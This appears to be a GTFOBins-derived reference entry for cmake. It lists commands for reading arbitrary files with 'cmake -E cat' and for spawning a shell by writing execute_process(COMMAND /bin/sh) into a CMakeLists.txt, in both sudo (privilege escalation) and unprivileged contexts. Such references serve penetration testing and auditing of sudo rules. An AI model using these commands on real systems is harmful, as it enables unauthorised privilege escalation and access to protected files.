GTFO · Tool

cmake

4 techniquesLinuxGTFOBinsGPL-3.0

file-read

File ReadPrivilege EscalationLinux

cmake -E cat /path/to/input-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/cmake/

File ReadLinux

cmake -E cat /path/to/input-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/cmake/

ExecutionPrivilege EscalationLinux

echo 'execute_process(COMMAND /bin/sh)' >/path/to/CMakeLists.txt
cmake /path/to/

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/cmake/

ExecutionLinux

echo 'execute_process(COMMAND /bin/sh)' >/path/to/CMakeLists.txt
cmake /path/to/

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/cmake/